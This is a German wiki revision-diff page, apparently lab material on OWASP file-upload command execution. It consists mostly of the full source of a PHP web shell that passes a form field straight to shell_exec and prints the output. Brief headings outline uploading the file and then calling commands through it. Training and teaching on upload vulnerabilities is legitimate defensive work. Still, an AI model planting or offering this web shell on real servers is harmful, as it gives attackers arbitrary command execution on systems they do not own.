OWASP File Upload Kommando Ausführung: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (5 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
=file.php= | =file.php= | ||
;Dieser PHP File so später Kommandos ausführen | ;Dieser PHP File so später Kommandos ausführen | ||
| + | <pre> | ||
<form action="" method="post" enctype="application/x-www-form-urlencoded"> | <form action="" method="post" enctype="application/x-www-form-urlencoded"> | ||
| − | + | <table style="margin-left:auto; margin-right:auto;"> | |
<tr> | <tr> | ||
| + | |||
<td colspan="2" style="text-align:center; font-weight: bold;color: #770000;"> | <td colspan="2" style="text-align:center; font-weight: bold;color: #770000;"> | ||
| + | |||
Please enter system command | Please enter system command | ||
</td> | </td> | ||
| Zeile 25: | Zeile 28: | ||
echo "<nowiki><pre></nowiki>"; | echo "<nowiki><pre></nowiki>"; | ||
echo shell_exec($_REQUEST["pCommand"]); | echo shell_exec($_REQUEST["pCommand"]); | ||
| − | echo " | + | echo "</pree>"; |
}//end if | }//end if | ||
?> | ?> | ||
| + | </pre> | ||
=Upload File= | =Upload File= | ||
Aktuelle Version vom 16. Juli 2021, 10:56 Uhr
file.php
- Dieser PHP File so später Kommandos ausführen
<form action="" method="post" enctype="application/x-www-form-urlencoded">
<table style="margin-left:auto; margin-right:auto;">
<tr>
<td colspan="2" style="text-align:center; font-weight: bold;color: #770000;">
Please enter system command
</td>
</tr>
<tr><td> </td></tr>
<tr>
<td style="font-weight: bold;">Command</td>
<td><input type="text" name="pCommand" size="50"></td>
</tr>
<tr><td> </td></tr>
<tr>
<td colspan="2" style="text-align:center;">
<input type="submit" value="Execute Command" />
</td>
</tr>
</table>
</form>
<?php
if (isset($_REQUEST["pCommand"])) {
echo "<pre>";
echo shell_exec($_REQUEST["pCommand"]);
echo "</pree>";
}//end if
?>
Upload File
Datei aufrufen
Kommando aufrufen
